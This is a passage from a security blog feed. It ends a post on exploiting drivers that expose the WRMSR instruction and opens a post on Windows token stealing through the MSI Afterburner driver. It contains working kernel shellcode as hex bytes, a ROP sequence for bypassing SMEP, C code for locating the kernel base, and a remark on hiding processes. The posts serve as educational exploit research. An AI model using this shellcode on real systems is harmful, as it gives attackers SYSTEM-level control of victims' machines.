
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span>    <span class="nb">rax</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="nb">gs</span><span class="p">:</span><span class="mh">0x188</span>    <span class="c1">; KPCRB.CurrentThread (_KTHREAD)</span>
<span class="nf">mov</span>    <span class="nb">rax</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rax</span><span class="o">+</span><span class="mh">0xb8</span><span class="p">]</span>  <span class="c1">; APCState.Process (current _EPROCESS)</span>
<span class="nf">mov</span>    <span class="nv">r8</span><span class="p">,</span><span class="nb">rax</span>                    <span class="c1">; Store current _EPROCESS ptr in RBX</span>

<span class="nl">loop:</span>
<span class="nf">mov</span>    <span class="nv">r8</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nv">r8</span><span class="o">+</span><span class="mh">0x448</span><span class="p">]</span>   <span class="c1">; ActiveProcessLinks</span>
<span class="nf">sub</span>    <span class="nv">r8</span><span class="p">,</span><span class="mh">0x448</span>                  <span class="c1">; Go back to start of _EPROCESS</span>
<span class="nf">mov</span>    <span class="nv">r9</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nv">r8</span><span class="o">+</span><span class="mh">0x440</span><span class="p">]</span>   <span class="c1">; UniqueProcessId (PID)</span>
<span class="nf">cmp</span>    <span class="nv">r9</span><span class="p">,</span><span class="mh">0x4</span>                    <span class="c1">; SYSTEM PID? </span>
<span class="nf">jne</span>    <span class="mh">0x13</span>                      <span class="c1">; Loop until PID == 4</span>

<span class="nf">mov</span>    <span class="nb">rcx</span><span class="p">,</span><span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nv">r8</span><span class="o">+</span><span class="mh">0x4b8</span><span class="p">]</span>  <span class="c1">; Get SYSTEM token</span>
<span class="nf">and</span>    <span class="nb">cl</span><span class="p">,</span><span class="mh">0xf0</span>                   <span class="c1">; Clear low 4 bits of _EX_FAST_REF structure</span>
<span class="nf">mov</span>    <span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rax</span><span class="o">+</span><span class="mh">0x4b8</span><span class="p">],</span><span class="nb">rcx</span> <span class="c1">; Copy SYSTEM token to current process</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Steal SYSTEM token shellcode</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">17</span><span class="p">),</span> <span class="s">"</span><span class="se">\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00\x49\x89\xC0\x4D\x8B\x80\x48\x04\x00\x00\x49\x81\xE8\x48\x04\x00\x00\x4D\x8B\x88\x40\x04\x00\x00\x49\x83\xF9\x04\x75\xE5\x49\x8B\x88\xB8\x04\x00\x00\x80\xE1\xF0\x48\x89\x88\xB8\x04\x00\x00</span><span class="s">"</span>
<span class="p">,</span> <span class="mi">63</span><span class="p">);</span>
</code></pre></div></div>

<p>Finally, the shellcode has to restore original value of CR4 (enable back SMEP) while still in kernel-mode and then return to user-mode safely.<br />
The moment CR4 gets restored, SMEP will be in effect. Therefore, to return to user-mode ROP chain has to be used again.<br />
Restoring CR4 is easy, the same CR4 gadget can be reused to overwrite CR4 with its original value.</p>

<p>The tricky part is to return to user-mode. The code has to mimic the steps the original systemcall handler returns to user-mode, which means it needs a ROP gadget of <code class="language-plaintext highlighter-rouge">swapgs; sysret</code>. swapgs restores the user-mode GS register and sysret returns the CPU to Ring 3. The <a href="https://www.felixcloutier.com/x86/sysret">sysret instruction</a> loads RIP from RCX,  loads RFLAGS from R11 and does not modify the stack pointer (RSP). This means that prior to calling it, the return address to the calling function (in my case - main) should be popped into RCX, the original value of RFLAGS should be moved in R12 and the stack should be restored in the state prior to calling the <code class="language-plaintext highlighter-rouge">__rop</code> function.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span><span class="mh">0x18</span>                         <span class="c1">; Restore stack; Return address of main is on top</span>
<span class="nf">pop</span> <span class="nb">rcx</span>                              <span class="c1">; RCX = return address to main()</span>
<span class="nf">movabs</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">gadget_swapgs_sysret_ret</span> <span class="c1">; </span>
<span class="nf">push</span> <span class="nb">rdx</span>                             <span class="c1">; push address of sysret gadget</span>

<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x370678</span>                    <span class="c1">; original CR4 value, to be used in cr4 gadget to restore it</span>
<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>                        <span class="c1">; setup stack for cr4 gadget</span>
<span class="nf">movabs</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret</span>
<span class="nf">push</span> <span class="nb">rdx</span>                             <span class="c1">; push address of CR4 gadget</span>

<span class="nf">mov</span>    <span class="nv">r11</span><span class="p">,</span> <span class="nv">r12</span>                      <span class="c1">; restore RFLAGS; Last thing to do, to make sure it's not modified by any other instruction</span>
<span class="nf">ret</span>                                  <span class="c1">; jump to CR4 gadget</span>
</code></pre></div></div>

<p>And the C code for it:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Cleanup</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">80</span><span class="p">),</span> <span class="s">"</span><span class="se">\x48\x83\xc4\x18</span><span class="s">"</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>               <span class="c1">// add    rsp,0x18 ; Restore stack</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">84</span><span class="p">),</span> <span class="s">"</span><span class="se">\x59</span><span class="s">"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>                           <span class="c1">// pop rcx ; return address to main()</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">85</span><span class="p">),</span> <span class="s">"</span><span class="se">\x48\xc7\xc0\x78\x06\x37\x00</span><span class="s">"</span><span class="p">,</span> <span class="mi">7</span><span class="p">);</span>   <span class="c1">// mov    rax, 0x370678 ; to restore cr4</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">92</span><span class="p">),</span> <span class="s">"</span><span class="se">\x48\xba</span><span class="s">"</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>                       <span class="c1">// movabs rdx, gadget_swapgs_sysret_ret</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">94</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">kernelAddress</span><span class="p">.</span><span class="n">gadget_swapgs_sysret_ret</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">102</span><span class="p">),</span> <span class="s">"</span><span class="se">\x52</span><span class="s">"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>                          <span class="c1">// push rdx</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">103</span><span class="p">),</span> <span class="s">"</span><span class="se">\x48\x83\xec\x28</span><span class="s">"</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>              <span class="c1">// sub rsp, 0x28</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">107</span><span class="p">),</span> <span class="s">"</span><span class="se">\x48\xba</span><span class="s">"</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>                      <span class="c1">// movabs rdx, gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">109</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">kernelAddress</span><span class="p">.</span><span class="n">gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">117</span><span class="p">),</span> <span class="s">"</span><span class="se">\x52</span><span class="s">"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>                          <span class="c1">// push rdx</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">118</span><span class="p">),</span> <span class="s">"</span><span class="se">\x4d\x89\xe3</span><span class="s">"</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>                  <span class="c1">// mov    r11, r12  ; restore RFLAGS</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">121</span><span class="p">),</span> <span class="s">"</span><span class="se">\xc3</span><span class="s">"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>                          <span class="c1">// ret</span>
</code></pre></div></div>

<h1 id="13-exploit">13. Exploit</h1>
<hr />
<p>And finally testing the exploit:</p>

<p><img src="https://idafchev.github.io/blog/assets/images/wrmsr/PoC_wrmsr_exploit.png" alt="Exploit" class="align-center" /></p>

<p>Because this kind of vulnerability gives you actual kernel-level code execution, it could be used for more than just simple token-stealing. For example, it’s possible to use it to reflectively load a malicious driver (as shown in the persentation from the first reference).</p>

<p>After all the work it took me it was very disheartening being marked as duplicate :D I would’ve been very excited to have a CVE on my name, but oh well, maybe another time.</p>

<p>I hope I explained everything well and all is understandable. Also if you’re interested, check the references below. They have wealth of additional information and I wouldn’t have succeded without each listed resource.</p>

<p>If you notice something wrong in my explanations, please send me feedback so I can fix it :)</p>

<h1 id="-14-references"><a name="14_references"></a> 14. References</h1>
<hr />
<ol>
  <li><a href="https://slideplayer.com/slide/17845751/">https://slideplayer.com/slide/17845751/</a></li>
  <li><a href="https://s.itho.me/ccms_slides/2021/5/13/26d82ee0-5685-472e-9c4b-453ed6c2d858.pdf">https://s.itho.me/ccms_slides/2021/5/13/26d82ee0-5685-472e-9c4b-453ed6c2d858.pdf</a></li>
  <li><a href="https://twitter.com/_xeroxz/status/1511973815902879753">https://twitter.com/_xeroxz/status/1511973815902879753</a></li>
  <li><a href="https://git.back.engineering/_xeroxz/msrexec">https://git.back.engineering/_xeroxz/msrexec</a></li>
  <li><a href="https://www.sentinelone.com/labs/cve-2021-3437-hp-omen-gaming-hub-privilege-escalation-bug-hits-millions-of-gaming-devices/">https://www.sentinelone.com/labs/cve-2021-3437-hp-omen-gaming-hub-privilege-escalation-bug-hits-millions-of-gaming-devices/</a></li>
  <li><a href="https://www.fortinet.com/blog/threat-research/melting-down-patchguard-leveraging-kpi-to-bypass-kernel-patch-protection">https://www.fortinet.com/blog/threat-research/melting-down-patchguard-leveraging-kpi-to-bypass-kernel-patch-protection</a></li>
  <li><a href="https://www.fortinet.com/blog/threat-research/a-deep-dive-analysis-of-microsoft-s-kernel-virtual-address-shadow-feature">https://www.fortinet.com/blog/threat-research/a-deep-dive-analysis-of-microsoft-s-kernel-virtual-address-shadow-feature</a></li>
  <li><a href="https://wumb0.in/windows-10-kvas-and-software-smep.html">https://wumb0.in/windows-10-kvas-and-software-smep.html</a></li>
  <li><a href="https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/">https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/</a></li>
  <li><a href="https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel">https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel</a></li>
  <li><a href="https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html">https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html</a></li>
  <li><a href="https://www.matteomalvica.com/minutes/windows_kernel">https://www.matteomalvica.com/minutes/windows_kernel</a></li>
  <li><a href="https://eclypsium.com/wp-content/uploads/EXTERNAL-Get-off-the-kernel-if-you-cant-drive-DEFCON27.pdf">https://eclypsium.com/wp-content/uploads/EXTERNAL-Get-off-the-kernel-if-you-cant-drive-DEFCON27.pdf</a></li>
  <li><a href="https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html">https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html</a></li>
  <li><a href="https://mdanilor.github.io/posts/hevd-4/">https://mdanilor.github.io/posts/hevd-4/</a></li>
  <li><a href="https://sizzop.github.io/2016/07/07/kernel-hacking-with-hevd-part-3.html">https://sizzop.github.io/2016/07/07/kernel-hacking-with-hevd-part-3.html</a></li>
  <li><a href="https://vulndev.io/2022/07/02/windows-kernel-exploitation-hevd-x64-stackoverflow/">https://vulndev.io/2022/07/02/windows-kernel-exploitation-hevd-x64-stackoverflow/</a></li>
  <li><a href="https://dennisbabkin.com/blog/?t=cpp-and-assembly-coding-in-x86-x64-assembly-language-in-visual-studio">https://dennisbabkin.com/blog/?t=cpp-and-assembly-coding-in-x86-x64-assembly-language-in-visual-studio</a></li>
  <li><a href="https://www.intel.com/content/dam/develop/external/us/en/documents/335592-sdm-vol-4.pdf">https://www.intel.com/content/dam/develop/external/us/en/documents/335592-sdm-vol-4.pdf</a></li>
</ol>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="wrmsr" /><category term="driver" /><category term="vulnerability" /><category term="exploit" /><category term="kernel" /><summary type="html"><![CDATA[Explaining the theory and the practical steps to exploit drivers which give access to the WRMSR instruction]]></summary></entry><entry><title type="html">Exploring the Windows kernel using vulnerable driver - Part 2</title><link href="https://idafchev.github.io/blog/Vulnerable_Driver_Part2/" rel="alternate" type="text/html" title="Exploring the Windows kernel using vulnerable driver - Part 2" /><published>2023-07-01T00:00:00+03:00</published><updated>2023-07-01T00:00:00+03:00</updated><id>https://idafchev.github.io/blog/Vulnerable_Driver_Part2</id><content type="html" xml:base="https://idafchev.github.io/blog/Vulnerable_Driver_Part2/"><![CDATA[<h1 id="1-introduction">1. Introduction</h1>
<hr />
<p>Welcome back to my blog series on exploring the Windows kernel with a vulnerable driver! The previous part discussed how Windows drivers function and explained how the MSI Afterburner driver vulnerability works. Now, this second part, will explore how this vulnerability can be exploited for activities like privilege escalation and other harmful actions.</p>

<p>Again, I want to emphasize that the purpose of this blog post is purely educational, therefore I will give only snippets of code as an example and will not share complete source code.</p>

<p>In addition, some of the code I directly took or adapted from the <a href="https://github.com/RedCursorSecurityConsulting/PPLKiller">PPLKiller</a>, <a href="https://github.com/itm4n/PPLcontrol">PPLControl</a> and <a href="https://github.com/Barakat/CVE-2019-16098">CVE-2019-16098</a> GitHub repositories, therefore their authors are to be credited.</p>

<h1 id="2-token-stealing---theory">2. Token stealing - theory</h1>
<hr />
<p>Token stealing is a frequently employed technique when attempting to escalate privileges through a vulnerability. It is a relatively straightforward method, and there are ample examples available on the Internet, making it an ideal starting point to explain various Windows kernel concepts and structures before delving into more intricate topics.</p>

<p>Now, let’s begin with some theoretical background.</p>

<p>In the Windows operating system, there are two crucial components related to process management: the Executive subsystem and the kernel. The Executive subsystem, also known as the Executive layer, is a higher-level part of the operating system that provides essential services for various components like the kernel, device drivers, and user-mode processes. It handles tasks such as process management, memory management, I/O management, and security.</p>

<p>On the other hand, the kernel is the core component of the operating system. It interacts directly with the hardware and provides low-level services. It manages hardware resources, enforces security policies, and acts as an interface for higher-level components to interact with the system.</p>

<p>When it comes to representing a running process, two important data structures come into play: the <code class="language-plaintext highlighter-rouge">EPROCESS</code> (Executive Process Structure) and the <code class="language-plaintext highlighter-rouge">KPROCESS</code> (Kernel Process Structure). The <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure is part of the Executive subsystem and holds crucial information about a process, including the executable image, memory allocation, security context, and handles to system resources. It facilitates process management, context switching, security and access control, resource management, and interprocess communication.</p>

<p>The <code class="language-plaintext highlighter-rouge">KPROCESS</code> structure, on the other hand, is an internal kernel-level structure that represents a process. It contains information relevant to the kernel, such as the process ID, thread list, memory management details, and processor state. The <code class="language-plaintext highlighter-rouge">KPROCESS</code> structure is embedded and stored inside the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure as its first field – <code class="language-plaintext highlighter-rouge">Pcb</code>, allowing access to the kernel-level process information when needed. Each process on the system has its corresponding <code class="language-plaintext highlighter-rouge">EPRROCESS</code> and <code class="language-plaintext highlighter-rouge">KPROCESS</code> structures.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Windows_nt_architecture.png" alt="Windows Architecture" class="align-center" /><br />
<em>source: https://en.wikipedia.org/wiki/Architecture_of_Windows_NT</em></p>

<p><code class="language-plaintext highlighter-rouge">EPROCESS</code> is a crucial component in the token stealing technique. The fields of the sctructure can be explored with Windbg using the <code class="language-plaintext highlighter-rouge">dt nt!_EPROCESS</code> command.<br />
<img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_eprocess_full.png" alt="Windbg EPROCESS" class="align-center" /></p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/windbg_eprocess_part.png" alt="Windbg EPROCESS" class="align-center" /></p>

<p>You can also refer to this <a href="https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2110%2021H2%20(November%202021%20Update)/_EPROCESS">Vergilius Project page</a>. Vergilius Project has documented the structures and their fields for almost all Windows builds.</p>

<p>Now, let’s focus on some specific fields within <code class="language-plaintext highlighter-rouge">EPROCESS</code>, that are relevant to our purpose:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">_EPROCESS</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">_KPROCESS</span> <span class="n">Pcb</span><span class="p">;</span>                       <span class="c1">//0x0</span>
    <span class="k">struct</span> <span class="n">_EX_PUSH_LOCK</span> <span class="n">ProcessLock</span><span class="p">;</span>           <span class="c1">//0x438</span>
    <span class="n">VOID</span><span class="o">*</span> <span class="n">UniqueProcessId</span><span class="p">;</span>                      <span class="c1">//0x440</span>
    <span class="k">struct</span> <span class="n">_LIST_ENTRY</span> <span class="n">ActiveProcessLinks</span><span class="p">;</span>      <span class="c1">//0x448</span>
<span class="c1">//...</span>
    <span class="k">struct</span> <span class="n">_EX_FAST_REF</span> <span class="n">Token</span><span class="p">;</span>                  <span class="c1">//0x4b8</span>
<span class="c1">//...</span>
<span class="p">};</span>
</code></pre></div></div>
<p><strong>UniqueProcessId</strong>: This field points to the Process ID (PID) of the process.</p>

<p><strong>ActiveProcessLinks</strong>: A structure for a doubly linked list. This field connects all <code class="language-plaintext highlighter-rouge">EPROCESS</code> structures of all processes in the system and serves as a means to traverse and locate different processes. If you unlink the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure of your process from this list, you can hide it and it won’t show up in Task manager.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//0x10 bytes (sizeof)</span>
<span class="k">struct</span> <span class="n">_LIST_ENTRY</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">_LIST_ENTRY</span><span class="o">*</span> <span class="n">Flink</span><span class="p">;</span>  <span class="c1">//0x0</span>
    <span class="k">struct</span> <span class="n">_LIST_ENTRY</span><span class="o">*</span> <span class="n">Blink</span><span class="p">;</span>  <span class="c1">//0x8</span>
<span class="p">};</span>
</code></pre></div></div>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/active_process_links.png" alt="Active Processs Links" />
<em>source: https://cybersecurity.att.com/blogs/labs-research/malware-hiding-techniques-to-watch-for-alienvault-labs</em></p>

<p>The <strong>_EX_FAST_REF Token</strong> field within the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure is a union that combines a pointer to the Token of the process and a reference counter, which keeps track of active references to the token.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//0x8 bytes (sizeof)</span>
<span class="k">struct</span> <span class="n">_EX_FAST_REF</span>
<span class="p">{</span>
    <span class="k">union</span>
    <span class="p">{</span>
        <span class="n">VOID</span><span class="o">*</span> <span class="n">Object</span><span class="p">;</span>        <span class="c1">//0x0</span>
        <span class="n">ULONGLONG</span> <span class="n">RefCnt</span><span class="o">:</span><span class="mi">4</span><span class="p">;</span>  <span class="c1">//0x0, least significat 4 bits are the reference count</span>
        <span class="n">ULONGLONG</span> <span class="n">Value</span><span class="p">;</span>     <span class="c1">//0x0</span>
    <span class="p">};</span>
<span class="p">};</span>
</code></pre></div></div>
<p>The security token represents the security context and privileges associated with a user or process. To escalate our own process’s privileges to SYSTEM level, we can overwrite the <code class="language-plaintext highlighter-rouge">Token</code> pointer inside our process’s <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure. By pointing it to the <code class="language-plaintext highlighter-rouge">Token</code> of the SYSTEM process, which can be found in the SYSTEM process’s <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure, we effectively replace one token with another.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/token_steal.png" alt="Token Steal" class="align-center" /></p>

<h1 id="3-token-stealing-in-practice">3. Token stealing in practice</h1>
<hr />
<p>The <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure is an internal component of the Windows operating system that is not intended for direct access. As a result, its format and field offsets may vary across different Windows versions. This implies that if an exploit relies on hardcoded offsets, it will only function correctly on specific Windows versions where those offsets align. On other Windows versions, it will probably crash the OS and lead to BSOD.</p>

<p>To address this challenge, there are a couple of potential solutions. One approach is to maintain a lookup table that maps Windows versions and structure field offsets. This allows the exploit to dynamically adapt to different Windows builds, ensuring compatibility and stability. Another option is to employ dynamic offset discovery techniques that programmatically identify the correct offsets at runtime.</p>

<p>In the following example I am using a lookup table with hardcoded offsets. These offsets can be obtained either online from the Vergilius Project, which documents structures for a wide range of Windows builds or manually spinning VMs with different Windows versions and dumping the structures with Windbg. By incorporating these pre-determined offsets into the exploit code, it ensures compatibility with the specified Windows versions.</p>

<p>Ok, let’s dive into a practical example to further illustrate the concept of token stealing. Our first goal is to locate two <code class="language-plaintext highlighter-rouge">EPROCESS</code> structures: one for the SYSTEM process and another for our own process. However, there are some challenges to overcome.</p>

<p>In kernel mode, the address of the <code class="language-plaintext highlighter-rouge">EPROCESS</code> structure for the SYSTEM process is conveniently exposed by the kernel through the exported symbol <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code>. Unfortunately, our process is running in user mode, which means we can’t read this pointer, because it’s in kernel-land. We can leverage a driver exploit to read <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code>, but first we need to know what is the kernel address of the <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> symbol itself.</p>

<p>To address this issue, we can try to find the offset of <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> from the base address of the kernel. By adding the offset and the kernel base address together we can determine the kernel address of <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">KernelAddressOfPsInitialSystemProcess</span> <span class="o">=</span> <span class="n">PsInitialSystemProcessOffset</span> <span class="o">+</span> <span class="n">KernelBaseAddress</span>
</code></pre></div></div>

<p>To find the base address of the kernel, there are various approaches, as described on this page: <a href="https://wumb0.in/finding-the-base-of-the-windows-kernel.html">https://wumb0.in/finding-the-base-of-the-windows-kernel.html</a></p>

<p>In this example, I will utilize the <code class="language-plaintext highlighter-rouge">EnumDeviceDrivers</code> function, which returns the kernel base addresses of all loaded kernel modules. The first module in the list is the kernel itself, allowing us to obtain its base address.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ULONG_PTR</span> <span class="nf">GetKernelBaseAddress</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">ULONG_PTR</span> <span class="n">pKernelBaseAddress</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">LPVOID</span><span class="o">*</span> <span class="n">lpImageBase</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">dwBytesNeeded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">// first call calculates the exact size needed to read all the data</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">EnumDeviceDrivers</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwBytesNeeded</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't EnumDeviceDrivers.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">pKernelBaseAddress</span><span class="p">;</span>
	<span class="p">}</span>
		
	<span class="c1">// allocate enough memory to read all data from EnumDeviceDrivers</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">lpImageBase</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="o">*</span><span class="p">)</span><span class="n">HeapAlloc</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">dwBytesNeeded</span><span class="p">)))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't allocate heap for lpImageBase.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">lpImageBase</span><span class="p">)</span>
			<span class="n">HeapFree</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpImageBase</span><span class="p">);</span>

		<span class="k">return</span> <span class="n">pKernelBaseAddress</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">EnumDeviceDrivers</span><span class="p">(</span><span class="n">lpImageBase</span><span class="p">,</span> <span class="n">dwBytesNeeded</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwBytesNeeded</span><span class="p">))</span> <span class="p">{</span>
		<span class="n">PRINT_ERROR</span><span class="p">(</span><span class="s">L"[-] Couldn't EnumDeviceDrivers.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">lpImageBase</span><span class="p">)</span>
			<span class="n">HeapFree</span><span class="p">(</span><span class="n">GetProcessHeap</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">lpImageBase</span><span class="p">);</span>

		<span class="k">return</span> <span class="n">pKernelBaseAddress</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">// the first entry in the list is the kernel</span>
	<span class="n">pKernelBaseAddress</span> <span class="o">=</span> <span class="p">((</span><span class="n">ULONG_PTR</span><span class="o">*</span><span class="p">)</span><span class="n">lpImageBase</span><span class="p">)[</span><span class="mi">0</span><span class="p">];</span>
	<span class="n">DEBUG</span><span class="p">(</span><span class="s">L"[*] KernelBaseAddress: %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pKernelBaseAddress</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">pKernelBaseAddress</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To find the offset of <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code>, first we need to map the kernel binary (ntoskrnl.exe) into our address space using the <code class="language-plaintext highlighter-rouge">LoadLibrary</code> function. Next, we can use the <code class="language-plaintext highlighter-rouge">GetProcAddress</code> function to obtain the user mode address of <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code>. This gives us the exact location of the symbol within our user mode address space.</p>

<p>By subtracting the base address of the mapped ntoskrnl.exe from the user mode address of <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code>, we can calculate the offset of <code class="language-plaintext highlighter-rouge">PsInitialSystemProcess</code> inside the kernel when it is loaded in memory. This offset will remain the same for kernel-land.</p>

